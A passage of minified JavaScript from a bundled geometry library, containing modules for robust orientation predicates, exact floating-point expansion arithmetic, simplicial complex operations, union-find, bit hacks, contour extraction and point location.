(C(F[1],O[0]),C(-O[1],F[0])),B[2]),n(x(n(C(B[1],O[0]),C(-O[1],B[0])),-F[2]),x(n(C(B[1],F[0]),C(-F[1],B[0])),O[2]))),-z[3]))),n(n(x(n(x(n(C(F[1],z[0]),C(-z[1],F[0])),_[2]),n(x(n(C(_[1],z[0]),C(-z[1],_[0])),-F[2]),x(n(C(_[1],F[0]),C(-F[1],_[0])),z[2]))),B[3]),x(n(x(n(C(F[1],z[0]),C(-z[1],F[0])),B[2]),n(x(n(C(B[1],z[0]),C(-z[1],B[0])),-F[2]),x(n(C(B[1],F[0]),C(-F[1],B[0])),z[2]))),-_[3])),n(x(n(x(n(C(_[1],z[0]),C(-z[1],_[0])),B[2]),n(x(n(C(B[1],z[0]),C(-z[1],B[0])),-_[2]),x(n(C(B[1],_[0]),C(-_[1],B[0])),z[2]))),F[3]),x(n(x(n(C(_[1],F[0]),C(-F[1],_[0])),B[2]),n(x(n(C(B[1],F[0]),C(-F[1],B[0])),-_[2]),x(n(C(B[1],_[0]),C(-_[1],B[0])),F[2]))),-z[3])))),J=I(N,G);return J[J.length-1]}}function v(n){var C=n===3?b:n===4?h:i;return C(f,r,a,l)}var T=v(3),w=v(4),E=[function(){return 0},function(){return 0},function(C,x){return x[0]-C[0]},function(C,x,I){var k=(C[1]-I[1])*(x[0]-I[0]),B=(C[0]-I[0])*(x[1]-I[1]),_=k-B,F;if(k>0){if(B<=0)return _;F=k+B}else if(k<0){if(B>=0)return _;F=-(k+B)}else return _;var O=y*F;return _>=O||_<=-O?_:T(C,x,I)},function(C,x,I,k){var B=C[0]-k[0],_=x[0]-k[0],F=I[0]-k[0],O=C[1]-k[1],z=x[1]-k[1],N=I[1]-k[1],G=C[2]-k[2],J=x[2]-k[2],q=I[2]-k[2],ne=_*N,fe=F*z,X=F*O,W=B*N,V=B*z,Y=_*O,Q=G*(ne-fe)+J*(X-W)+q*(V-Y),ie=(Math.abs(ne)+Math.abs(fe))*Math.abs(G)+(Math.abs(X)+Math.abs(W))*Math.abs(J)+(Math.abs(V)+Math.abs(Y))*Math.abs(q),j=c*ie;return Q>j||-Q>j?Q:w(C,x,I,k)}];function p(n){var C=E[n.length];return C||(C=E[n.length]=v(n.length)),C.apply(void 0,n)}function A(n,C,x,I,k,B,_){return function(O,z,N,G,J){switch(arguments.length){case 0:case 1:return 0;case 2:return I(O,z);case 3:return k(O,z,N);case 4:return B(O,z,N,G);case 5:return _(O,z,N,G,J)}for(var q=new Array(arguments.length),ne=0;ne<arguments.length;++ne)q[ne]=arguments[ne];return n(q)}}function m(){for(;E.length<=u;)E.push(v(E.length));d.exports=A.apply(void 0,[p].concat(E));for(var n=0;n<=u;++n)d.exports[n]=E[n]}m()},2019:function(d,g,t){var r=t(9662),f=t(8289);d.exports=a;function a(l,u){if(l.length===1)return f(u,l[0]);if(u.length===1)return f(l,u[0]);if(l.length===0||u.length===0)return[0];var s=[0];if(l.length<u.length)for(var y=0;y<l.length;++y)s=r(s,f(u,l[y]));else for(var y=0;y<u.length;++y)s=r(s,f(l,u[y]));return s}},8289:function(d,g,t){var r=t(9660),f=t(87);d.exports=a;function a(l,u){var s=l.length;if(s===1){var y=r(l[0],u);return y[0]?y:[y[1]]}var c=new Array(2*s),b=[.1,.1],h=[.1,.1],i=0;r(l[0],u,b),b[0]&&(c[i++]=b[0]);for(var v=1;v<s;++v){r(l[v],u,h);var T=b[1];f(T,h[0],b),b[0]&&(c[i++]=b[0]);var w=h[1],E=b[1],p=w+E,A=p-w,m=E-A;b[1]=p,m&&(c[i++]=m)}return b[1]&&(c[i++]=b[1]),i===0&&(c[i++]=0),c.length=i,c}},4434:function(d,g,t){d.exports=a;var r=t(417)[3];function f(l,u,s,y){for(var c=0;c<2;++c){var b=l[c],h=u[c],i=Math.min(b,h),v=Math.max(b,h),T=s[c],w=y[c],E=Math.min(T,w),p=Math.max(T,w);if(p<i||v<E)return!1}return!0}function a(l,u,s,y){var c=r(l,s,y),b=r(u,s,y);if(c>0&&b>0||c<0&&b<0)return!1;var h=r(s,l,u),i=r(y,l,u);return h>0&&i>0||h<0&&i<0?!1:c===0&&b===0&&h===0&&i===0?f(l,u,s,y):!0}},4078:function(d){d.exports=t;function g(r,f){var a=r+f,l=a-r,u=a-l,s=f-l,y=r-u,c=y+s;return c?[c,a]:[a]}function t(r,f){var a=r.length|0,l=f.length|0;if(a===1&&l===1)return g(r[0],-f[0]);var u=a+l,s=new Array(u),y=0,c=0,b=0,h=Math.abs,i=r[c],v=h(i),T=-f[b],w=h(T),E,p;v<w?(p=i,c+=1,c<a&&(i=r[c],v=h(i))):(p=T,b+=1,b<l&&(T=-f[b],w=h(T))),c<a&&v<w||b>=l?(E=i,c+=1,c<a&&(i=r[c],v=h(i))):(E=T,b+=1,b<l&&(T=-f[b],w=h(T)));for(var A=E+p,m=A-E,n=p-m,C=n,x=A,I,k,B,_,F;c<a&&b<l;)v<w?(E=i,c+=1,c<a&&(i=r[c],v=h(i))):(E=T,b+=1,b<l&&(T=-f[b],w=h(T))),p=C,A=E+p,m=A-E,n=p-m,n&&(s[y++]=n),I=x+A,k=I-x,B=I-k,_=A-k,F=x-B,C=F+_,x=I;for(;c<a;)E=i,p=C,A=E+p,m=A-E,n=p-m,n&&(s[y++]=n),I=x+A,k=I-x,B=I-k,_=A-k,F=x-B,C=F+_,x=I,c+=1,c<a&&(i=r[c]);for(;b<l;)E=T,p=C,A=E+p,m=A-E,n=p-m,n&&(s[y++]=n),I=x+A,k=I-x,B=I-k,_=A-k,F=x-B,C=F+_,x=I,b+=1,b<l&&(T=-f[b]);return C&&(s[y++]=C),x&&(s[y++]=x),y||(s[y++]=0),s.length=y,s}},9662:function(d){d.exports=t;function g(r,f){var a=r+f,l=a-r,u=a-l,s=f-l,y=r-u,c=y+s;return c?[c,a]:[a]}function t(r,f){var a=r.length|0,l=f.length|0;if(a===1&&l===1)return g(r[0],f[0]);var u=a+l,s=new Array(u),y=0,c=0,b=0,h=Math.abs,i=r[c],v=h(i),T=f[b],w=h(T),E,p;v<w?(p=i,c+=1,c<a&&(i=r[c],v=h(i))):(p=T,b+=1,b<l&&(T=f[b],w=h(T))),c<a&&v<w||b>=l?(E=i,c+=1,c<a&&(i=r[c],v=h(i))):(E=T,b+=1,b<l&&(T=f[b],w=h(T)));for(var A=E+p,m=A-E,n=p-m,C=n,x=A,I,k,B,_,F;c<a&&b<l;)v<w?(E=i,c+=1,c<a&&(i=r[c],v=h(i))):(E=T,b+=1,b<l&&(T=f[b],w=h(T))),p=C,A=E+p,m=A-E,n=p-m,n&&(s[y++]=n),I=x+A,k=I-x,B=I-k,_=A-k,F=x-B,C=F+_,x=I;for(;c<a;)E=i,p=C,A=E+p,m=A-E,n=p-m,n&&(s[y++]=n),I=x+A,k=I-x,B=I-k,_=A-k,F=x-B,C=F+_,x=I,c+=1,c<a&&(i=r[c]);for(;b<l;)E=T,p=C,A=E+p,m=A-E,n=p-m,n&&(s[y++]=n),I=x+A,k=I-x,B=I-k,_=A-k,F=x-B,C=F+_,x=I,b+=1,b<l&&(T=f[b]);return C&&(s[y++]=C),x&&(s[y++]=x),y||(s[y++]=0),s.length=y,s}},8691:function(d,g,t){d.exports=a;var r=t(2692),f=t(7037);function a(l){return f(r(l))}},7212:function(d,g,t){d.exports=i;var r=t(5050),f=t(5306),a=t(8729),l=t(1168);function u(v){for(var T=v.length,w=0,E=0;E<T;++E)w=Math.max(w,v[E].length)|0;return w-1}function s(v,T){for(var w=v.length,E=f.mallocUint8(w),p=0;p<w;++p)E[p]=v[p]<T|0;return E}function y(v,T){for(var w=v.length,E=T*(T+1)/2*w|0,p=f.mallocUint32(E*2),A=0,m=0;m<w;++m)for(var n=v[m],T=n.length,C=0;C<T;++C)for(var x=0;x<C;++x){var I=n[x],k=n[C];p[A++]=Math.min(I,k)|0,p[A++]=Math.max(I,k)|0}var B=A/2|0;a(r(p,[B,2]));for(var _=2,m=2;m<A;m+=2)p[m-2]===p[m]&&p[m-1]===p[m+1]||(p[_++]=p[m],p[_++]=p[m+1]);return r(p,[_/2|0,2])}function c(v,T,w,E){for(var p=v.data,A=v.shape[0],m=f.mallocDouble(A),n=0,C=0;C<A;++C){var x=p[2*C],I=p[2*C+1];if(w[x]!==w[I]){var k=T[x],B=T[I];p[2*n]=x,p[2*n+1]=I,m[n++]=(B-E)/(B-k)}}return v.shape[0]=n,r(m,[n])}function b(v,T){var w=f.mallocInt32(T*2),E=v.shape[0],p=v.data;w[0]=0;for(var A=0,m=0;m<E;++m){var n=p[2*m];if(n!==A){for(w[2*A+1]=m;++A<n;)w[2*A]=m,w[2*A+1]=m;w[2*A]=m}}for(w[2*A+1]=E;++A<T;)w[2*A]=w[2*A+1]=E;return w}function h(v){for(var T=v.shape[0]|0,w=v.data,E=new Array(T),p=0;p<T;++p)E[p]=[w[2*p],w[2*p+1]];return E}function i(v,T,w,E){w=w||0,typeof E>"u"&&(E=u(v));var p=v.length;if(p===0||E<1)return{cells:[],vertexIds:[],vertexWeights:[]};var A=s(T,+w),m=y(v,E),n=c(m,T,A,+w),C=b(m,T.length|0),x=l(E)(v,m.data,C,A),I=h(m),k=[].slice.call(n.data,0,n.shape[0]);return f.free(A),f.free(m.data),f.free(n.data),f.free(C),{cells:x,vertexIds:I,vertexWeights:k}}},1168:function(d){d.exports=t;var g=[function(){function f(a,l,u,s){for(var y=a.length,c=[],b=0;b<y;++b){var h=a[b];h.length}return c}return f},function(){function f(l,u,s,y){for(var c=Math.min(s,y)|0,b=Math.max(s,y)|0,h=l[2*c],i=l[2*c+1];h<i;){var v=h+i>>1,T=u[2*v+1];if(T===b)return v;b<T?i=v:h=v+1}return h}function a(l,u,s,y){for(var c=l.length,b=[],h=0;h<c;++h){var i=l[h],v=i.length;if(v===2){var T=(y[i[0]]<<0)+(y[i[1]]<<1);if(T===0||T===3)continue;switch(T){case 0:break;case 1:b.push([f(s,u,i[0],i[1])]);break;case 2:b.push([f(s,u,i[1],i[0])]);break}}}return b}return a},function(){function f(l,u,s,y){for(var c=Math.min(s,y)|0,b=Math.max(s,y)|0,h=l[2*c],i=l[2*c+1];h<i;){var v=h+i>>1,T=u[2*v+1];if(T===b)return v;b<T?i=v:h=v+1}return h}function a(l,u,s,y){for(var c=l.length,b=[],h=0;h<c;++h){var i=l[h],v=i.length;if(v===3){var T=(y[i[0]]<<0)+(y[i[1]]<<1)+(y[i[2]]<<2);if(T===0||T===7)continue;switch(T){case 0:break;case 1:b.push([f(s,u,i[0],i[2]),f(s,u,i[0],i[1])]);break;case 2:b.push([f(s,u,i[1],i[0]),f(s,u,i[1],i[2])]);break;case 3:b.push([f(s,u,i[0],i[2]),f(s,u,i[1],i[2])]);break;case 4:b.push([f(s,u,i[2],i[1]),f(s,u,i[2],i[0])]);break;case 5:b.push([f(s,u,i[2],i[1]),f(s,u,i[0],i[1])]);break;case 6:b.push([f(s,u,i[1],i[0]),f(s,u,i[2],i[0])]);break}}else if(v===2){var T=(y[i[0]]<<0)+(y[i[1]]<<1);if(T===0||T===3)continue;switch(T){case 0:break;case 1:b.push([f(s,u,i[0],i[1])]);break;case 2:b.push([f(s,u,i[1],i[0])]);break}}}return b}return a},function(){function f(l,u,s,y){for(var c=Math.min(s,y)|0,b=Math.max(s,y)|0,h=l[2*c],i=l[2*c+1];h<i;){var v=h+i>>1,T=u[2*v+1];if(T===b)return v;b<T?i=v:h=v+1}return h}function a(l,u,s,y){for(var c=l.length,b=[],h=0;h<c;++h){var i=l[h],v=i.length;if(v===4){var T=(y[i[0]]<<0)+(y[i[1]]<<1)+(y[i[2]]<<2)+(y[i[3]]<<3);if(T===0||T===15)continue;switch(T){case 0:break;case 1:b.push([f(s,u,i[0],i[1]),f(s,u,i[0],i[2]),f(s,u,i[0],i[3])]);break;case 2:b.push([f(s,u,i[1],i[2]),f(s,u,i[1],i[0]),f(s,u,i[1],i[3])]);break;case 3:b.push([f(s,u,i[1],i[2]),f(s,u,i[0],i[2]),f(s,u,i[0],i[3])],[f(s,u,i[1],i[3]),f(s,u,i[1],i[2]),f(s,u,i[0],i[3])]);break;case 4:b.push([f(s,u,i[2],i[0]),f(s,u,i[2],i[1]),f(s,u,i[2],i[3])]);break;case 5:b.push([f(s,u,i[0],i[1]),f(s,u,i[2],i[1]),f(s,u,i[0],i[3])],[f(s,u,i[2],i[1]),f(s,u,i[2],i[3]),f(s,u,i[0],i[3])]);break;case 6:b.push([f(s,u,i[2],i[0]),f(s,u,i[1],i[0]),f(s,u,i[1],i[3])],[f(s,u,i[2],i[3]),f(s,u,i[2],i[0]),f(s,u,i[1],i[3])]);break;case 7:b.push([f(s,u,i[0],i[3]),f(s,u,i[1],i[3]),f(s,u,i[2],i[3])]);break;case 8:b.push([f(s,u,i[3],i[1]),f(s,u,i[3],i[0]),f(s,u,i[3],i[2])]);break;case 9:b.push([f(s,u,i[3],i[1]),f(s,u,i[0],i[1]),f(s,u,i[0],i[2])],[f(s,u,i[3],i[2]),f(s,u,i[3],i[1]),f(s,u,i[0],i[2])]);break;case 10:b.push([f(s,u,i[1],i[0]),f(s,u,i[3],i[0]),f(s,u,i[1],i[2])],[f(s,u,i[3],i[0]),f(s,u,i[3],i[2]),f(s,u,i[1],i[2])]);break;case 11:b.push([f(s,u,i[1],i[2]),f(s,u,i[0],i[2]),f(s,u,i[3],i[2])]);break;case 12:b.push([f(s,u,i[3],i[0]),f(s,u,i[2],i[0]),f(s,u,i[2],i[1])],[f(s,u,i[3],i[1]),f(s,u,i[3],i[0]),f(s,u,i[2],i[1])]);break;case 13:b.push([f(s,u,i[0],i[1]),f(s,u,i[2],i[1]),f(s,u,i[3],i[1])]);break;case 14:b.push([f(s,u,i[2],i[0]),f(s,u,i[1],i[0]),f(s,u,i[3],i[0])]);break}}else if(v===3){var T=(y[i[0]]<<0)+(y[i[1]]<<1)+(y[i[2]]<<2);if(T===0||T===7)continue;switch(T){case 0:break;case 1:b.push([f(s,u,i[0],i[2]),f(s,u,i[0],i[1])]);break;case 2:b.push([f(s,u,i[1],i[0]),f(s,u,i[1],i[2])]);break;case 3:b.push([f(s,u,i[0],i[2]),f(s,u,i[1],i[2])]);break;case 4:b.push([f(s,u,i[2],i[1]),f(s,u,i[2],i[0])]);break;case 5:b.push([f(s,u,i[2],i[1]),f(s,u,i[0],i[1])]);break;case 6:b.push([f(s,u,i[1],i[0]),f(s,u,i[2],i[0])]);break}}else if(v===2){var T=(y[i[0]]<<0)+(y[i[1]]<<1);if(T===0||T===3)continue;switch(T){case 0:break;case 1:b.push([f(s,u,i[0],i[1])]);break;case 2:b.push([f(s,u,i[1],i[0])]);break}}}return b}return a}];function t(r){return g[r]()}},8211:function(d,g,t){t(2288),t(1731);function r(f,a){var l=f.length,u=f.length-a.length,s=Math.min;if(u)return u;switch(l){case 0:return 0;case 1:return f[0]-a[0];case 2:var i=f[0]+f[1]-a[0]-a[1];return i||s(f[0],f[1])-s(a[0],a[1]);case 3:var y=f[0]+f[1],c=a[0]+a[1];if(i=y+f[2]-(c+a[2]),i)return i;var b=s(f[0],f[1]),h=s(a[0],a[1]),i=s(b,f[2])-s(h,a[2]);return i||s(b+f[2],y)-s(h+a[2],c);default:var v=f.slice(0);v.sort();var T=a.slice(0);T.sort();for(var w=0;w<l;++w)if(u=v[w]-T[w],u)return u;return 0}}g.H=r},9392:function(d,g){"use restrict";var t=32;g.INT_BITS=t,g.INT_MAX=2147483647,g.INT_MIN=-1<<t-1,g.sign=function(a){return(a>0)-(a<0)},g.abs=function(a){var l=a>>t-1;return(a^l)-l},g.min=function(a,l){return l^(a^l)&-(a<l)},g.max=function(a,l){return a^(a^l)&-(a<l)},g.isPow2=function(a){return!(a&a-1)&&!!a},g.log2=function(a){var l,u;return l=(a>65535)<<4,a>>>=l,u=(a>255)<<3,a>>>=u,l|=u,u=(a>15)<<2,a>>>=u,l|=u,u=(a>3)<<1,a>>>=u,l|=u,l|a>>1},g.log10=function(a){return a>=1e9?9:a>=1e8?8:a>=1e7?7:a>=1e6?6:a>=1e5?5:a>=1e4?4:a>=1e3?3:a>=100?2:a>=10?1:0},g.popCount=function(a){return a=a-(a>>>1&1431655765),a=(a&858993459)+(a>>>2&858993459),(a+(a>>>4)&252645135)*16843009>>>24};function r(a){var l=32;return a&=-a,a&&l--,a&65535&&(l-=16),a&16711935&&(l-=8),a&252645135&&(l-=4),a&858993459&&(l-=2),a&1431655765&&(l-=1),l}g.countTrailingZeros=r,g.nextPow2=function(a){return a+=a===0,--a,a|=a>>>1,a|=a>>>2,a|=a>>>4,a|=a>>>8,a|=a>>>16,a+1},g.prevPow2=function(a){return a|=a>>>1,a|=a>>>2,a|=a>>>4,a|=a>>>8,a|=a>>>16,a-(a>>>1)},g.parity=function(a){return a^=a>>>16,a^=a>>>8,a^=a>>>4,a&=15,27030>>>a&1};var f=new Array(256);(function(a){for(var l=0;l<256;++l){var u=l,s=l,y=7;for(u>>>=1;u;u>>>=1)s<<=1,s|=u&1,--y;a[l]=s<<y&255}})(f),g.reverse=function(a){return f[a&255]<<24|f[a>>>8&255]<<16|f[a>>>16&255]<<8|f[a>>>24&255]},g.interleave2=function(a,l){return a&=65535,a=(a|a<<8)&16711935,a=(a|a<<4)&252645135,a=(a|a<<2)&858993459,a=(a|a<<1)&1431655765,l&=65535,l=(l|l<<8)&16711935,l=(l|l<<4)&252645135,l=(l|l<<2)&858993459,l=(l|l<<1)&1431655765,a|l<<1},g.deinterleave2=function(a,l){return a=a>>>l&1431655765,a=(a|a>>>1)&858993459,a=(a|a>>>2)&252645135,a=(a|a>>>4)&16711935,a=(a|a>>>16)&65535,a<<16>>16},g.interleave3=function(a,l,u){return a&=1023,a=(a|a<<16)&4278190335,a=(a|a<<8)&251719695,a=(a|a<<4)&3272356035,a=(a|a<<2)&1227133513,l&=1023,l=(l|l<<16)&4278190335,l=(l|l<<8)&251719695,l=(l|l<<4)&3272356035,l=(l|l<<2)&1227133513,a|=l<<1,u&=1023,u=(u|u<<16)&4278190335,u=(u|u<<8)&251719695,u=(u|u<<4)&3272356035,u=(u|u<<2)&1227133513,a|u<<2},g.deinterleave3=function(a,l){return a=a>>>l&1227133513,a=(a|a>>>2)&3272356035,a=(a|a>>>4)&251719695,a=(a|a>>>8)&4278190335,a=(a|a>>>16)&1023,a<<22>>22},g.nextCombination=function(a){var l=a|a-1;return l+1|(~l&-~l)-1>>>r(a)+1}},6656:function(d,g,t){"use restrict";var r=t(9392),f=t(9521);function a(n){for(var C=0,x=Math.max,I=0,k=n.length;I<k;++I)C=x(C,n[I].length);return C-1}g.dimension=a;function l(n){for(var C=-1,x=Math.max,I=0,k=n.length;I<k;++I)for(var B=n[I],_=0,F=B.length;_<F;++_)C=x(C,B[_]);return C+1}g.countVertices=l;function u(n){for(var C=new Array(n.length),x=0,I=n.length;x<I;++x)C[x]=n[x].slice(0);return C}g.cloneCells=u;function s(n,C){var x=n.length,I=n.length-C.length,k=Math.min;if(I)return I;switch(x){case 0:return 0;case 1:return n[0]-C[0];case 2:var z=n[0]+n[1]-C[0]-C[1];return z||k(n[0],n[1])-k(C[0],C[1]);case 3:var B=n[0]+n[1],_=C[0]+C[1];if(z=B+n[2]-(_+C[2]),z)return z;var F=k(n[0],n[1]),O=k(C[0],C[1]),z=k(F,n[2])-k(O,C[2]);return z||k(F+n[2],B)-k(O+C[2],_);default:var N=n.slice(0);N.sort();var G=C.slice(0);G.sort();for(var J=0;J<x;++J)if(I=N[J]-G[J],I)return I;return 0}}g.compareCells=s;function y(n,C){return s(n[0],C[0])}function c(n,C){if(C){for(var x=n.length,I=new Array(x),k=0;k<x;++k)I[k]=[n[k],C[k]];I.sort(y);for(var k=0;k<x;++k)n[k]=I[k][0],C[k]=I[k][1];return n}else return n.sort(s),n}g.normalize=c;function b(n){if(n.length===0)return[];for(var C=1,x=n.length,I=1;I<x;++I){var k=n[I];if(s(k,n[I-1])){if(I===C){C++;continue}n[C++]=k}}return n.length=C,n}g.unique=b;function h(n,C){for(var x=0,I=n.length-1,k=-1;x<=I;){var B=x+I>>1,_=s(n[B],C);_<=0?(_===0&&(k=B),x=B+1):_>0&&(I=B-1)}return k}g.findCell=h;function i(n,C){for(var x=new Array(n.length),I=0,k=x.length;I<k;++I)x[I]=[];for(var B=[],I=0,_=C.length;I<_;++I)for(var F=C[I],O=F.length,z=1,N=1<<O;z<N;++z){B.length=r.popCount(z);for(var G=0,J=0;J<O;++J)z&1<<J&&(B[G++]=F[J]);var q=h(n,B);if(!(q<0))for(;x[q++].push(I),!(q>=n.length||s(n[q],B)!==0););}return x}g.incidence=i;function v(n,C){if(!C)return i(b(w(n,0)),n);for(var x=new Array(C),I=0;I<C;++I)x[I]=[];for(var I=0,k=n.length;I<k;++I)for(var B=n[I],_=0,F=B.length;_<F;++_)x[B[_]].push(I);return x}g.dual=v;function T(n){for(var C=[],x=0,I=n.length;x<I;++x)for(var k=n[x],B=k.length|0,_=1,F=1<<B;_<F;++_){for(var O=[],z=0;z<B;++z)_>>>z&1&&O.push(k[z]);C.push(O)}return c(C)}g.explode=T;function w(n,C){if(C<0)return[];for(var x=[],I=(1<<C+1)-1,k=0;k<n.length;++k)for(var B=n[k],_=I;_<1<<B.length;_=r.nextCombination(_)){for(var F=new Array(C+1),O=0,z=0;z<B.length;++z)_&1<<z&&(F[O++]=B[z]);x.push(F)}return c(x)}g.skeleton=w;function E(n){for(var C=[],x=0,I=n.length;x<I;++x)for(var k=n[x],B=0,_=k.length;B<_;++B){for(var F=new Array(k.length-1),O=0,z=0;O<_;++O)O!==B&&(F[z++]=k[O]);C.push(F)}return c(C)}g.boundary=E;function p(n,C){for(var x=new f(C),I=0;I<n.length;++I)for(var k=n[I],B=0;B<k.length;++B)for(var _=B+1;_<k.length;++_)x.link(k[B],k[_]);for(var F=[],O=x.ranks,I=0;I<O.length;++I)O[I]=-1;for(var I=0;I<n.length;++I){var z=x.find(n[I][0]);O[z]<0?(O[z]=F.length,F.push([n[I].slice(0)])):F[O[z]].push(n[I].slice(0))}return F}function A(n){for(var C=b(c(w(n,0))),x=new f(C.length),I=0;I<n.length;++I)for(var k=n[I],B=0;B<k.length;++B)for(var _=h(C,[k[B]]),F=B+1;F<k.length;++F)x.link(_,h(C,[k[F]]));for(var O=[],z=x.ranks,I=0;I<z.length;++I)z[I]=-1;for(var I=0;I<n.length;++I){var N=x.find(h(C,[n[I][0]]));z[N]<0?(z[N]=O.length,O.push([n[I].slice(0)])):O[z[N]].push(n[I].slice(0))}return O}function m(n,C){return C?p(n,C):A(n)}g.connectedComponents=m},9521:function(d){"use restrict";d.exports=g;function g(t){this.roots=new Array(t),this.ranks=new Array(t);for(var r=0;r<t;++r)this.roots[r]=r,this.ranks[r]=0}g.prototype.length=function(){return this.roots.length},g.prototype.makeSet=function(){var t=this.roots.length;return this.roots.push(t),this.ranks.push(0),t},g.prototype.find=function(t){for(var r=this.roots;r[t]!==t;){var f=r[t];r[t]=r[f],t=f}return t},g.prototype.link=function(t,r){var f=this.find(t),a=this.find(r);if(f!==a){var l=this.ranks,u=this.roots,s=l[f],y=l[a];s<y?u[f]=a:y<s?u[a]=f:(u[a]=f,++l[f])}}},8243:function(d,g,t){d.exports=l;var r=t(417),f=t(6656);function a(u,s,y){var c=Math.abs(r(u,s,y)),b=Math.sqrt(Math.pow(s[0]-y[0],2)+Math.pow(s[1]-y[1],2));return c/b}function l(u,s,y){for(var c=s.length,b=u.length,h=new Array(c),i=new Array(c),v=new Array(c),T=new Array(c),w=0;w<c;++w)h[w]=i[w]=-1,v[w]=1/0,T[w]=!1;for(var w=0;w<b;++w){var E=u[w];if(E.length!==2)throw new Error("Input must be a graph");var p=E[1],A=E[0];i[A]!==-1?i[A]=-2:i[A]=p,h[p]!==-1?h[p]=-2:h[p]=A}function m(X){if(T[X])return 1/0;var W=h[X],V=i[X];return W<0||V<0?1/0:a(s[X],s[W],s[V])}function n(X,W){var V=O[X],Y=O[W];O[X]=Y,O[W]=V,z[V]=W,z[Y]=X}function C(X){return v[O[X]]}function x(X){return X&1?X-1>>1:(X>>1)-1}function I(X){for(var W=C(X);;){var V=W,Y=2*X+1,Q=2*(X+1),ie=X;if(Y<G){var j=C(Y);j<V&&(ie=Y,V=j)}if(Q<G){var K=C(Q);K<V&&(ie=Q)}if(ie===X)return X;n(X,ie),X=ie}}function k(X){for(var W=C(X);X>0;){var V=x(X);if(V>=0){var Y=C(V);if(W<Y){n(X,V),X=V;continue}}return X}}function B(){if(G>0){var X=O[0];return n(0,G-1),G-=1,I(0),X}return-1}function _(X,W){var V=O[X];return v[V]===W?X:(v[V]=-1/0,k(X),B(),v[V]=W,G+=1,k(G-1))}function F(X){if(!T[X]){T[X]=!0;var W=h[X],V=i[X];h[V]>=0&&(h[V]=W),i[W]>=0&&(i[W]=V),z[W]>=0&&_(z[W],m(W)),z[V]>=0&&_(z[V],m(V))}}for(var O=[],z=new Array(c),w=0;w<c;++w){var N=v[w]=m(w);N<1/0?(z[w]=O.length,O.push(w)):z[w]=-1}for(var G=O.length,w=G>>1;w>=0;--w)I(w);for(;;){var J=B();if(J<0||v[J]>y)break;F(J)}for(var q=[],w=0;w<c;++w)T[w]||(z[w]=q.length,q.push(s[w].slice()));q.length;function ne(X,W){if(X[W]<0)return W;var V=W,Y=W;do{var Q=X[Y];if(!T[Y]||Q<0||Q===Y||(Y=Q,Q=X[Y],!T[Y]||Q<0||Q===Y))break;Y=Q,V=X[V]}while(V!==Y);for(var ie=W;ie!==Y;ie=X[ie])X[ie]=Y;return Y}var fe=[];return u.forEach(function(X){var W=ne(h,X[0]),V=ne(i,X[1]);if(W>=0&&V>=0&&W!==V){var Y=z[W],Q=z[V];Y!==Q&&fe.push([Y,Q])}}),f.unique(f.normalize(fe)),{positions:q,edges:fe}}},6638:function(d,g,t){d.exports=a;var r=t(417);function f(l,u){var s,y;if(u[0][0]<u[1][0])s=u[0],y=u[1];else if(u[0][0]>u[1][0])s=u[1],y=u[0];else{var c=Math.min(l[0][1],l[1][1]),b=Math.max(l[0][1],l[1][1]),h=Math.min(u[0][1],u[1][1]),i=Math.max(u[0][1],u[1][1]);return b<h?b-h:c>i?c-i:b-i}var v,T;l[0][1]<l[1][1]?(v=l[0],T=l[1]):(v=l[1],T=l[0]);var w=r(y,s,v);return w||(w=r(y,s,T),w)?w:T-y}function a(l,u){var s,y;if(u[0][0]<u[1][0])s=u[0],y=u[1];else if(u[0][0]>u[1][0])s=u[1],y=u[0];else return f(u,l);var c,b;if(l[0][0]<l[1][0])c=l[0],b=l[1];else if(l[0][0]>l[1][0])c=l[1],b=l[0];else return-f(l,u);var h=r(s,y,b),i=r(s,y,c);if(h<0){if(i<=0)return h}else if(h>0){if(i>=0)return h}else if(i)return i;if(h=r(b,c,y),i=r(b,c,s),h<0){if(i<=0)return h}else if(h>0){if(i>=0)return h}else if(i)return i;return y[0]-b[0]}},4385:function(d,g,t){d.exports=i;var r=t(5070),f=t(7080),a=t(417),l=t(6638);function u(v,T,w){this.slabs=v,this.coordinates=T,this.horizontal=w}var s=u.prototype;function y(v,T){return v.y-T}function c(v,T){for(var w=null;v;){var E=v.key,p,A;E[0][0]<E[1][0]?(p=E[0],A=E[1]):(p=E[1],A=E[0]);var m=a(p,A,T);if(m<0)v=v.left;else if(m>0)if(T[0]!==E[1][0])w=v,v=v.right;else{var n=c(v.right,T);if(n)return n;v=v.left}else{if(T[0]!==E[1][0])return v;var n=c(v.right,T);if(n)return n;v=v.left}}return w}s.castUp=function(v){var T=r.le(this.coordinates,v[0]);if(T<0)return-1;this.slabs[T];var w=c(this.slabs[T],v),E=-1;if(w&&(E=w.value),this.coordinates[T]===v[0]){var p=null;if(w&&(p=w.key),T>0){var A=c(this.slabs[T-1],v);A&&(p?l(A.key,p)>0&&(p=A.key,E=A.value):(E=A.value,p=A.key))}var m=this.horizontal[T];if(m.length>0){var n=r.ge(m,v[1],y);if(n<m.length){var C=m[n];if(v[1]===C.y){if(C.closed)return C.index;for(;n<m.length-1&&m[n+1].y===v[1];)if(n=n+1,C=m[n],C.closed)return C.index;if(C.y===v[1]&&!C.start){if(n=n+1,n>=m.length)return E;C=m[n]}}if(C.start)if(p){var x=a(p[0],p[1],[v[0],C.y]);p[0][0]>p[1][0]&&(x=-x),x>0&&(E=C.index)}else E=C.index;else C.y!==v[1]&&(E=C.index)}}}return E};function b(v,T,w,E){this.y=v,this.index=T,this.start=w,this.closed=E}function h(v,T,w,E){this.x=v,this.segment=T,this.create=w,this.index=E}function i(v){for(var T=v.length,w=2*T,E=new Array(w),p=0;p<T;++p){var A=v[p],m=A[0][0]<A[1][0];E[2*p]=new h(A[0][0],A,m,p),E[2*p+1]=new h(A[1][0],A,!m,p)}E.sort(function(F,O){var z=F.x-O.x;return z||(z=F.create-O.create,z)?z:Math.min(F.segment[0][1],F.segment[1][1])-Math.min(O.segment[0][1],O.segment[1][1])});for(var n=f(l),C=[],x=[],I=[],p=0;p<w;){for(var k=E[p].x,B=[];p<w;){var _=E[p];if(_.x!==k)break;p+=1,_.segment[0][0]===_.x&&_.segment[1][0]===_.x?_.create&&(_.segment[0][1]<_.segment[1][1]?(B.push(new b(_.segment[0][1],_.index,!0,!0)),B.push(new b(_.segment[1][1],_.index,!1,!1))):(B.push(new b(_.segment[1][1],_.index,!0,!1)),B.push(new b(_.segment[0][1],_.index,!1,!0)))):_.create?n=n.insert(_.segment,_.index):n=n.remove(_.segment)}C.push(n.root),x.push(k),I.push(B)}return new u(C,x,I)}},4670:function(d,g,t){var r=t(9130),f=t(9662);d.exports=u,d.exports.positive=s,d.exports.negative=y;function a(c,b){var h=f(r(c,b),[b[b.length-1]]);return 